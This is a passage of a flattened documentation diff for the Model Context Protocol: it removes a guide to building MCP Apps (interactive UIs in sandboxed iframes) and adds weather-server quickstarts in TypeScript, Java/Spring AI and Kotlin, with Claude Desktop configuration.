the server: -4. **Bidirectional communication**: The app and host communicate through a - JSON-RPC protocol that forms its own dialect of MCP. Some requests and - notifications are shared with the core MCP protocol (e.g., `tools/call`), some - are similar (e.g., `ui/initialize`), and most are new with a `ui/` method name - prefix. The app can request tool calls, send messages, update the model's - context, and receive data from the host. + ```typescript theme={null} + async function main() { + const transport = new StdioServerTransport(); + await server.connect(transport); + console.error("Weather MCP Server running on stdio"); + } -```mermaid theme={null} -sequenceDiagram - participant User - participant Agent - participant App as MCP App iframe - participant Server as MCP Server + main().catch((error) => { + console.error("Fatal error in main():", error); + process.exit(1); + }); + ``` - User->>Agent: "show me analytics" - Note over User,App: Interactive app rendered in chat - Agent->>Server: tools/call - Server-->>Agent: tool input/result - Agent-->>App: tool result pushed to app - User->>App: user interacts - App->>Agent: tools/call request - Agent->>Server: tools/call (forwarded) - Server-->>Agent: fresh data - Agent-->>App: fresh data - Note over User,App: App updates with new data - App-->>Agent: context update -``` + Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect. -The app stays isolated from the host but can still call MCP tools through the -secure postMessage channel. + Let's now test your server from an existing MCP host, Claude for Desktop. -## When to use MCP Apps + ## Testing your server with Claude for Desktop -MCP Apps are a good fit when your use case involves: + + Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + -**Exploring complex data.** A user asks "show me sales by region." A text -response might list numbers, but an MCP App can render an interactive map where -users click regions to drill down, hover for details, and toggle between -metrics, all without additional prompts. + First, make sure you have Claude for Desktop installed. [You can install the latest version + here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** -**Configuring with many options.** Setting up a deployment involves dozens of -interdependent choices. Rather than a back-and-forth conversation ("Which -region?" "What instance size?" "Enable autoscaling?"), an MCP App presents a -form where users see all options at once, with validation and defaults. + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. -**Viewing rich media.** When a user asks to review a PDF, see a 3D model, or -preview generated images, text descriptions fall short. An MCP App embeds the -actual viewer (pan, zoom, rotate) directly in the conversation. + For example, if you have [VS Code](https://code.visualstudio.com/) installed: -**Real-time monitoring.** A dashboard showing live metrics, logs, or system -status needs continuous updates. An MCP App maintains a persistent connection, -updating the display as data changes without requiring the user to ask "what's -the status now?" + + ```bash macOS/Linux theme={null} + code ~/Library/Application\ Support/Claude/claude_desktop_config.json + ``` -**Multi-step workflows.** Approving expense reports, reviewing code changes, or -triaging issues involves examining items one by one. An MCP App provides -navigation controls, action buttons, and state that persists across -interactions. + ```powershell Windows theme={null} + code $env:AppData\Claude\claude_desktop_config.json + ``` + -## Getting started + You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. -You'll need [Node.js](https://nodejs.org/en/download) 18 or higher. Familiarity -with [MCP tools](/specification/2025-11-25/server/tools) and -[resources](/specification/2025-11-25/server/resources) is recommended since MCP -Apps combine both primitives. Experience with the -[MCP TypeScript SDK](https://github.com/modelcontextprotocol/typescript-sdk) -will help you better understand the server-side patterns. + In this case, we'll add our single weather server like so: -The fastest way to create an MCP App is using an AI coding agent with the MCP -Apps skill. If you prefer to set up a project manually, skip to -[Manual setup](#manual-setup). + + ```json macOS/Linux theme={null} + { + "mcpServers": { + "weather": { + "command": "node", + "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"] + } + } + } + ``` -### Using an AI coding agent + ```json Windows theme={null} + { + "mcpServers": { + "weather": { + "command": "node", + "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"] + } + } + } + ``` + -AI coding agents with Skills support can scaffold a complete MCP App project for -you. Skills are folders of instructions and resources that your agent loads when -relevant. They teach the AI how to perform specialized tasks like creating MCP -Apps. + This tells Claude for Desktop: -The `create-mcp-app` skill includes architecture guidance, best practices, and -working examples that the agent uses to generate your project. + 1. There's an MCP server named "weather" + 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js` - - - If you are using Claude Code, you can install the skill directly with: + Save the file, and restart **Claude for Desktop**. + - ``` - /plugin marketplace add modelcontextprotocol/ext-apps - /plugin install mcp-apps@modelcontextprotocol-ext-apps - ``` + + + This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters. + To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation. + - You can also use the [Vercel Skills CLI](https://skills.sh/) to install skills across different AI coding agents: + Let's get started with building our weather server! + [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server) - ```bash theme={null} - npx skills add modelcontextprotocol/ext-apps - ``` + For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation. + For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/). - Alternatively, you can install the skill manually by cloning the ext-apps repository: + ### Logging in MCP Servers - ```bash theme={null} - git clone https://github.com/modelcontextprotocol/ext-apps.git - ``` + When implementing MCP servers, be careful about how you handle logging: - And then copying the skill to the appropriate location for your agent: + **For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server. - | Agent | Skills directory (macOS/Linux) | Skills directory (Windows) | - | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------------------------------- | - | [Claude Code](https://docs.anthropic.com/en/docs/claude-code/skills) | `~/.claude/skills/` | `%USERPROFILE%\.claude\skills\` | - | [VS Code](https://code.visualstudio.com/docs/copilot/customization/agent-skills) and [GitHub Copilot](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills) | `~/.copilot/skills/` | `%USERPROFILE%\.copilot\skills\` | - | [Gemini CLI](https://geminicli.com/docs/cli/skills/) | `~/.gemini/skills/` | `%USERPROFILE%\.gemini\skills\` | - | [Cline](https://cline.bot/blog/cline-3-48-0-skills-and-websearch-make-cline-smarter) | `~/.cline/skills/` | `%USERPROFILE%\.cline\skills\` | - | [Goose](https://block.github.io/goose/docs/guides/context-engineering/using-skills/) | `~/.config/goose/skills/` | `%USERPROFILE%\.config\goose\skills\` | - | [Codex](https://developers.openai.com/codex/skills/) | `~/.codex/skills/` | `%USERPROFILE%\.codex\skills\` | + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. - - This list is not comprehensive. Other agents may support skills in different locations; check your agent's documentation. - + ### Best Practices - For example, with Claude Code you can install the skill globally (available in all projects): + * Use a logging library that writes to stderr or files. + * Ensure any configured logging library will not write to stdout. - - ```bash macOS/Linux theme={null} - cp -r ext-apps/plugins/mcp-apps/skills/create-mcp-app ~/.claude/skills/create-mcp-app - ``` + ### System requirements - ```powershell Windows theme={null} - Copy-Item -Recurse ext-apps\plugins\mcp-apps\skills\create-mcp-app $env:USERPROFILE\.claude\skills\create-mcp-app - ``` - + * Java 17 or higher installed. + * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher - Or install it for a single project only by copying to `.claude/skills/` in your project directory: + ### Set up your environment + + Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project. + + You will need to add the following dependencies: - ```bash macOS/Linux theme={null} - mkdir -p .claude/skills && cp -r ext-apps/plugins/mcp-apps/skills/create-mcp-app .claude/skills/create-mcp-app + ```xml Maven theme={null} + + + org.springframework.ai + spring-ai-starter-mcp-server + + + + org.springframework + spring-web + + ``` - ```powershell Windows theme={null} - New-Item -ItemType Directory -Force -Path .claude\skills | Out-Null; Copy-Item -Recurse ext-apps\plugins\mcp-apps\skills\create-mcp-app .claude\skills\create-mcp-app + ```groovy Gradle theme={null} + dependencies { + implementation platform("org.springframework.ai:spring-ai-starter-mcp-server") + implementation platform("org.springframework:spring-web") + } ``` - To verify the skill is installed, ask your agent "What skills do you have access to?" — you should see `create-mcp-app` as one of the available skills. - - - - Ask your AI coding agent to build it: - - ``` - Create an MCP App that displays a color picker - ``` - - The agent will recognize the `create-mcp-app` skill is relevant, load its instructions, then scaffold a complete project with server, UI, and configuration files. - - - Creating a new MCP App with Claude Code - - + Then configure your application by setting the application properties: - - ```bash macOS/Linux theme={null} - npm install && npm run build && npm run serve + ```bash application.properties theme={null} + spring.main.bannerMode=off + logging.pattern.console= ``` - ```powershell Windows theme={null} - npm install; npm run build; npm run serve + ```yaml application.yml theme={null} + logging: + pattern: + console: + spring: + main: + banner-mode: off ``` - - You might need to make sure that you are first in the **app folder** before running the commands above. - - + The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties. - - Follow the instructions in [Testing your app](#testing-your-app) below. For the color picker example, start a new chat and ask Claude to provide you a color picker. + Now let's dive into building your server. - - Testing the color picker in Claude - - - + ## Building your server -### Manual setup + ### Weather Service -If you're not using an AI coding agent, or prefer to understand the setup -process, follow these steps. + Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API: - - - A typical MCP App project separates the server code from the UI code: + ```java theme={null} + @Service + public class WeatherService { - - - + private final RestClient restClient; - + public WeatherService() { + this.restClient = RestClient.builder() + .baseUrl("https://api.weather.gov") + .defaultHeader("Accept", "application/geo+json") + .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)") + .build(); + } - + @Tool(description = "Get weather forecast for a specific latitude/longitude") + public String getWeatherForecastByLocation( + double latitude, // Latitude coordinate + double longitude // Longitude coordinate + ) { + // Returns detailed forecast including: + // - Temperature and unit + // - Wind speed and direction + // - Detailed forecast description + } - + @Tool(description = "Get weather alerts for a US state") + public String getAlerts( + @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state + ) { + // Returns active alerts including: + // - Event type + // - Affected area + // - Severity + // - Description + // - Safety instructions + } - + // ...... + } + ``` - - - - - + The `@Service` annotation will auto-register the service in your application context. + The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools. - The server registers the tool and serves the UI resource. The UI files get bundled into a single HTML file that the server returns when the host requests the resource. - + The auto-configuration will automatically register these tools with the MCP server. - - ```bash theme={null} - npm install @modelcontextprotocol/ext-apps @modelcontextprotocol/sdk - npm install -D typescript vite vite-plugin-singlefile express cors @types/express @types/cors tsx - ``` + ### Create your Boot Application - The `ext-apps` package provides helpers for both the server side (registering tools and resources) and the client side (the `App` class for UI-to-host communication). Vite with the `vite-plugin-singlefile` plugin bundles your UI into a single HTML file that can be served as a resource. - + ```java theme={null} + @SpringBootApplication + public class McpServerApplication { - - - - The `"type": "module"` setting enables ES module syntax. The `build` script uses the `INPUT` environment variable to tell Vite which HTML file to bundle. The `serve` script runs your server using `tsx` for TypeScript execution. + public static void main(String[] args) { + SpringApplication.run(McpServerApplication.class, args); + } - ```json theme={null} - { - "type": "module", - "scripts": { - "build": "INPUT=mcp-app.html vite build", - "serve": "npx tsx server.ts" - } - } - ``` - + @Bean + public ToolCallbackProvider weatherTools(WeatherService weatherService) { + return MethodToolCallbackProvider.builder().toolObjects(weatherService).build(); + } + } + ``` - - The TypeScript configuration targets modern JavaScript (`ES2022`) and uses ESNext modules with bundler resolution, which works well with Vite. The `include` array covers both the server code in the root and UI code in `src/`. + Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server. - ```json theme={null} - { - "compilerOptions": { - "target": "ES2022", - "module": "ESNext", - "moduleResolution": "bundler", - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "outDir": "dist" - }, - "include": ["*.ts", "src/**/*.ts"] - } - ``` - + ### Running the server - - ```typescript theme={null} - import { defineConfig } from "vite"; - import { viteSingleFile } from "vite-plugin-singlefile"; + Finally, let's build the server: - export default defineConfig({ - plugins: [viteSingleFile()], - build: { - outDir: "dist", - rollupOptions: { - input: process.env.INPUT, - }, - }, - }); - ``` - - - + ```bash theme={null} + ./mvnw clean install + ``` - - With the project structure and configuration in place, continue to [Building an MCP App](#building-an-mcp-app) below to implement the server and UI. - - + This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder. -## Building an MCP App + Let's now test your server from an existing MCP host, Claude for Desktop. -Let's build a simple app that displays the current server time. This example -demonstrates the full pattern: registering a tool with UI metadata, serving the -bundled HTML as a resource, and building a UI that communicates with the server. + ## Testing your server with Claude for Desktop -### Server implementation + + Claude for Desktop is not yet available on Linux. + -The server needs to do two things: register a tool that includes the -`_meta.ui.resourceUri` field, and register a resource handler that serves the -bundled HTML. Here's the complete server file: + First, make sure you have Claude for Desktop installed. + [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** -```typescript theme={null} -// server.ts -console.log("Starting MCP App server..."); + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. + To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. + Make sure to create the file if it doesn't exist. -import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; -import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; -import { - registerAppTool, - registerAppResource, - RESOURCE_MIME_TYPE, -} from "@modelcontextprotocol/ext-apps/server"; -import cors from "cors"; -import express from "express"; -import fs from "node:fs/promises"; -import path from "node:path"; + For example, if you have [VS Code](https://code.visualstudio.com/) installed: -const server = new McpServer({ - name: "My MCP App Server", - version: "1.0.0", -}); + + ```bash macOS/Linux theme={null} + code ~/Library/Application\ Support/Claude/claude_desktop_config.json + ``` -// The ui:// scheme tells hosts this is an MCP App resource. -// The path structure is arbitrary; organize it however makes sense for your app. -const resourceUri = "ui://get-time/mcp-app.html"; + ```powershell Windows theme={null} + code $env:AppData\Claude\claude_desktop_config.json + ``` + -// Register the tool that returns the current time -registerAppTool( - server, - "get-time", - { - title: "Get Time", - description: "Returns the current server time.", - inputSchema: {}, - _meta: { ui: { resourceUri } }, - }, - async () => { - const time = new Date().toISOString(); - return { - content: [{ type: "text", text: time }], - }; - }, -); + You'll then add your servers in the `mcpServers` key. + The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. -// Register the resource that serves the bundled HTML -registerAppResource( - server, - resourceUri, - resourceUri, - { mimeType: RESOURCE_MIME_TYPE }, - async () => { - const html = await fs.readFile( - path.join(import.meta.dirname, "dist", "mcp-app.html"), - "utf-8", - ); - return { - contents: [ - { uri: resourceUri, mimeType: RESOURCE_MIME_TYPE, text: html }, - ], - }; - }, -); + In this case, we'll add our single weather server like so: -// Expose the MCP server over HTTP -const expressApp = express(); -expressApp.use(cors()); -expressApp.use(express.json()); + + ```json macOS/Linux theme={null} + { + "mcpServers": { + "spring-ai-mcp-weather": { + "command": "java", + "args": [ + "-Dspring.ai.mcp.server.stdio=true", + "-jar", + "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar" + ] + } + } + } + ``` -expressApp.post("/mcp", async (req, res) => { - const transport = new StreamableHTTPServerTransport({ - sessionIdGenerator: undefined, - enableJsonResponse: true, - }); - res.on("close", () => transport.close()); - await server.connect(transport); - await transport.handleRequest(req, res, req.body); -}); + ```json Windows theme={null} + { + "mcpServers": { + "spring-ai-mcp-weather": { + "command": "java", + "args": [ + "-Dspring.ai.mcp.server.transport=STDIO", + "-jar", + "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar" + ] + } + } + } + ``` + -expressApp.listen(3001, (err) => { - if (err) { - console.error("Error starting server:", err); - process.exit(1); - } - console.log("Server listening on http://localhost:3001/mcp"); -}); -``` + + Make sure you pass in the absolute path to your server. + -Let's break down the key parts: + This tells Claude for Desktop: -* **`resourceUri`**: The `ui://` scheme tells hosts this is an MCP App resource. - The path structure is arbitrary. -* **`registerAppTool`**: Registers a tool with the `_meta.ui.resourceUri` field. - When the host calls this tool, the UI is fetched and rendered, and the tool result is passed to it upon arrival. -* **`registerAppResource`**: Serves the bundled HTML when the host requests the UI resource. -* **Express server**: Exposes the MCP server over HTTP on port 3001. + 1. There's an MCP server named "my-weather-server" + 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` -### UI implementation + Save the file, and restart **Claude for Desktop**. -The UI consists of an HTML page and a TypeScript module that uses the `App` -class to communicate with the host. Here's the HTML: + ## Testing your server with Java client -```html theme={null} - - - - - - Get Time App - - -

- Server Time: - Loading... -

- - - - -``` + ### Create an MCP Client manually -And the TypeScript module: + Use the `McpClient` to connect to the server: -```typescript theme={null} -// src/mcp-app.ts -import { App } from "@modelcontextprotocol/ext-apps"; + ```java theme={null} + var stdioParams = ServerParameters.builder("java") + .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar") + .build(); -const serverTimeEl = document.getElementById("server-time")!; -const getTimeBtn = document.getElementById("get-time-btn")!; + var stdioTransport = new StdioClientTransport(stdioParams); -const app = new App({ name: "Get Time App", version: "1.0.0" }); + var mcpClient = McpClient.sync(stdioTransport).build(); -// Establish communication with the host -app.connect(); + mcpClient.initialize(); -// Handle the initial tool result pushed by the host -app.ontoolresult = (result) => { - const time = result.content?.find((c) => c.type === "text")?.text; - serverTimeEl.textContent = time ?? "[ERROR]"; -}; + ListToolsResult toolsList = mcpClient.listTools(); -// Proactively call tools when users interact with the UI -getTimeBtn.addEventListener("click", async () => { - const result = await app.callServerTool({ - name: "get-time", - arguments: {}, - }); - const time = result.content?.find((c) => c.type === "text")?.text; - serverTimeEl.textContent = time ?? "[ERROR]"; -}); -``` + CallToolResult weather = mcpClient.callTool( + new CallToolRequest("getWeatherForecastByLocation", + Map.of("latitude", "47.6062", "longitude", "-122.3321"))); -The key parts: + CallToolResult alert = mcpClient.callTool( + new CallToolRequest("getAlerts", Map.of("state", "NY"))); -* **`app.connect()`**: Establishes communication with the host. Call this once - when your app initializes. -* **`app.ontoolresult`**: A callback that fires when the host pushes a tool - result to your app (e.g., when the tool is first called and the UI renders). -* **`app.callServerTool()`**: Lets your app proactively call tools on the server. - Keep in mind that each call involves a round-trip to the server, so design your - UI to handle latency gracefully. + mcpClient.closeGracefully(); + ``` -The `App` class provides additional methods for logging, opening URLs, and -updating the model's context with structured data from your app. See the full -[API documentation](https://modelcontextprotocol.github.io/ext-apps/api/). + ### Use MCP Client Boot Starter -## Testing your app + Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency: -To test your MCP App, build the UI and start your local server: + ```xml theme={null} + + org.springframework.ai + spring-ai-starter-mcp-client + + ``` - - ```bash macOS/Linux theme={null} - npm run build && npm run serve - ``` + and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`. + You can reuse the existing Anthropic Desktop configuration: - ```powershell Windows theme={null} - npm run build; npm run serve - ``` - + ```properties theme={null} + spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json + ``` -In the default configuration, your server will be available at -`http://localhost:3001/mcp`. However, to see your app render, you need an MCP -host that supports MCP Apps. You have several options. + When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json. -### Testing with Claude + For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation. -[Claude](https://claude.ai) (web) and [Claude Desktop](https://claude.ai/download) -support MCP Apps. For local development, you'll need to expose your server to -the internet. You can run an MCP server locally and use tools like `cloudflared` -to tunnel traffic through. + ## More Java MCP Server examples -In a separate terminal, run: + The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an MCP server using SSE transport. + It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities. + -```bash theme={null} -npx cloudflared tunnel --url http://localhost:3001 -``` + + Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server) -Copy the generated URL (e.g., `https://random-name.trycloudflare.com`) and add it -as a [custom connector](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) -in Claude - click on your profile, go to **Settings**, **Connectors**, and -finally **Add custom connector**. + ### Prerequisite knowledge - - Custom connectors are available on paid Claude plans (Pro, Max, or Team). - + This quickstart assumes you have familiarity with: - - Adding a custom connector in Claude - + * Kotlin + * LLMs like Claude -### Testing with the basic-host + ### Logging in MCP Servers -The `ext-apps` repository includes a test host for development. Clone the repo and -install dependencies: + When implementing MCP servers, be careful about how you handle logging: - - ```bash macOS/Linux theme={null} - git clone https://github.com/modelcontextprotocol/ext-apps.git - cd ext-apps/examples/basic-host - npm install - ``` + **For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server. - ```powershell Windows theme={null} - git clone https://github.com/modelcontextprotocol/ext-apps.git - cd ext-apps\examples\basic-host - npm install - ``` - + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. -Running `npm start` from `ext-apps/examples/basic-host/` will start the basic-host -test interface. To connect it to a specific server (e.g., one you're developing), -pass the `SERVERS` environment variable inline: + ### Best Practices - - ```bash macOS/Linux theme={null} - SERVERS='["http://localhost:3001"]' npm start - ``` - - ```powershell Windows theme={null} - $env:SERVERS='["http://localhost:3001"]'; npm start - ``` - - -Navigate to `http://localhost:8080`. You'll see a simple interface where you can -select a tool and call it. When you call your tool, the host fetches the UI -resource and renders it in a sandboxed iframe. You can then interact with your -app and verify that tool calls work correctly. + * Use a logging library that writes to stderr or files. - - Example of the QR code MCP App running with the basic host - + ### System requirements -## Security model + * JDK 11 or higher installed. -MCP Apps run in a sandboxed -[iframe](https://developer.mozilla.org/docs/Web/HTML/Element/iframe), which -provides strong isolation from the host application. The sandbox prevents your -app from accessing the parent window's -[DOM](https://developer.mozilla.org/docs/Web/API/Document_Object_Model), reading -the host's cookies or local storage, navigating the parent page, or executing -scripts in the parent context. + ### Set up your environment -All communication between your app and the host goes through the -[postMessage API](https://developer.mozilla.org/docs/Web/API/Window/postMessage), -which the `App` class shown above abstracts for you. The host controls which -capabilities your app can access. For example, a host might restrict which tools -an app can call or disable the `sendOpenLink` capability. + First, let's install `java` and `gradle` if you haven't already. + You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/). + Verify your `java` installation: -The sandbox is designed to prevent apps from escaping to access the host or user data. + ```bash theme={null} + java --version + ``` -## Framework support + Now, let's create and set up your project: -MCP Apps use their own dialect of MCP, built on JSON-RPC like the core protocol. -Some messages are shared with regular MCP (e.g., `tools/call`), while others are -specific to apps (e.g., `ui/initialize`). The transport is -[postMessage](https://developer.mozilla.org/docs/Web/API/Window/postMessage) -instead of stdio or HTTP. Since it's all standard web primitives, you can use any -framework or none at all. + + ```bash macOS/Linux theme={null} + # Create a new directory for our project + mkdir weather + cd weather -The `App` class from `@modelcontextprotocol/ext-apps` is a convenience wrapper, -not a requirement. You can implement the -[postMessage protocol](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx) -directly if you prefer to avoid dependencies or need tighter control. + # Initialize a new kotlin project + gradle init + ``` -The [examples directory](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples) -includes starter templates for React, Vue, Svelte, Preact, Solid, and vanilla -JavaScript. These demonstrate recommended patterns for each framework's system, -but they're examples rather than requirements. You can choose whatever works -best for your use case. + ```powershell Windows theme={null} + # Create a new directory for our project + md weather + cd weather -## Client support + # Initialize a new kotlin project + gradle init + ``` + - - MCP Apps is an extension to the [core MCP specification](/specification). Host support varies by client. - + After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language. -MCP Apps are currently supported by [Claude](https://claude.ai), -[Claude Desktop](https://claude.ai/download), -[Visual Studio Code (Insiders)](https://code.visualstudio.com/insiders), [Goose](https://block.github.io/goose/), [Postman](https://postman.com), and [MCPJam](https://www.mcpjam.com/). See the -[clients page](/clients) for the full list of MCP clients and their supported -features. + Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html). -If you're building an MCP client and want to support MCP Apps, you have two options: + After creating the project, replace the contents of your `build.gradle.kts` with: -1. **Use a framework**: The [`@mcp-ui/client`](https://github.com/MCP-UI-Org/mcp-ui) - package provides React components for rendering and interacting with MCP Apps - views in your host application. See the - [MCP-UI documentation](https://mcpui.dev/) for usage details. + ```kotlin build.gradle.kts theme={null} + // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases + val mcpVersion = "0.9.0" + val ktorVersion = "3.2.3" + val slf4jVersion = "2.0.17" -2. **Build on AppBridge**: The SDK includes an - [**App Bridge**](https://modelcontextprotocol.github.io/ext-apps/api/modules/app-bridge.html) - module that handles rendering apps in sandboxed iframes, message passing, tool - call proxying, and security policy enforcement. The - [basic-host example](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-host) - shows how to integrate it. + plugins { + kotlin("jvm") version "2.3.20" + kotlin("plugin.serialization") version "2.3.20" + id("com.gradleup.shadow") version "8.3.9" + application + } -See the [API documentation](https://modelcontextprotocol.github.io/ext-apps/api/) -for implementation details. + application { + mainClass.set("MainKt") + } -## Examples + dependencies { + implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion") + implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion") + implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion") + implementation("io.ktor:ktor-client-cio:$ktorVersion") + implementation("org.slf4j:slf4j-simple:$slf4jVersion") + } + ``` -The [ext-apps repository](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples) -includes ready-to-run examples demonstrating different use cases: + Verify that everything is set up correctly: -* **3D and visualization**: - [map-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/map-server) - (CesiumJS globe), - [threejs-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/threejs-server) - (Three.js scenes), - [shadertoy-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/shadertoy-server) - (shader effects) -* **Data exploration**: - [cohort-heatmap-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/cohort-heatmap-server), - [customer-segmentation-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/customer-segmentation-server), - [wiki-explorer-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/wiki-explorer-server) -* **Business applications**: - [scenario-modeler-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/scenario-modeler-server), - [budget-allocator-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/budget-allocator-server) -* **Media**: - [pdf-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/pdf-server), - [video-resource-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/video-resource-server), - [sheet-music-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/sheet-music-server), - [say-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/say-server) - (text-to-speech) -* **Utilities**: - [qr-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/qr-server), - [system-monitor-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/system-monitor-server), - [transcript-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/transcript-server) - (speech-to-text) -* **Starter templates**: - [React](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-react), - [Vue](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-vue), - [Svelte](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-svelte), - [Preact](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-preact), - [Solid](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-solid), - [vanilla JavaScript](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-vanillajs) + ```bash theme={null} + ./gradlew build + ``` -To run any example: + Now let's dive into building your server. - - ```bash macOS/Linux theme={null} - git clone https://github.com/modelcontextprotocol/ext-apps - cd ext-apps/examples/ - npm install && npm start - ``` + ## Building your server - ```powershell Windows theme={null} - git clone https://github.com/modelcontextprotocol/ext-apps - cd ext-apps\examples\ - npm install; npm start - ``` - + ### Setting up the instance -## Learn more + Add a server initialization function: - - - Full SDK reference and API details - + ```kotlin theme={null} + fun runMcpServer() { + val server = Server( + Implementation( + name = "weather", + version = "1.0.0", + ), + ServerOptions( + capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)), + ), + ) - - Source code, examples, and issue tracker - + // register tools on server here - - Technical specification for implementers - - + val transport = StdioServerTransport( + System.`in`.asInput(), + System.out.asSink().buffered(), + ) -## Feedback + runBlocking { + val session = server.createSession(transport) + val done = Job() + session.onClose { + done.complete() + } + done.join() + } + } + ``` -MCP Apps is under active development. If you encounter issues or have ideas for -improvements, open an issue on the -[GitHub repository](https://github.com/modelcontextprotocol/ext-apps/issues). -For broader discussions about the extension's direction, join the conversation -in [GitHub Discussions](https://github.com/modelcontextprotocol/ext-apps/discussions). + ### Weather API helper functions + Next, let's add functions and data classes for querying and converting responses from the National Weather Service API: -# What is the Model Context Protocol (MCP)? -Source: https://modelcontextprotocol.io/docs/getting-started/intro + ```kotlin theme={null} + val httpClient = 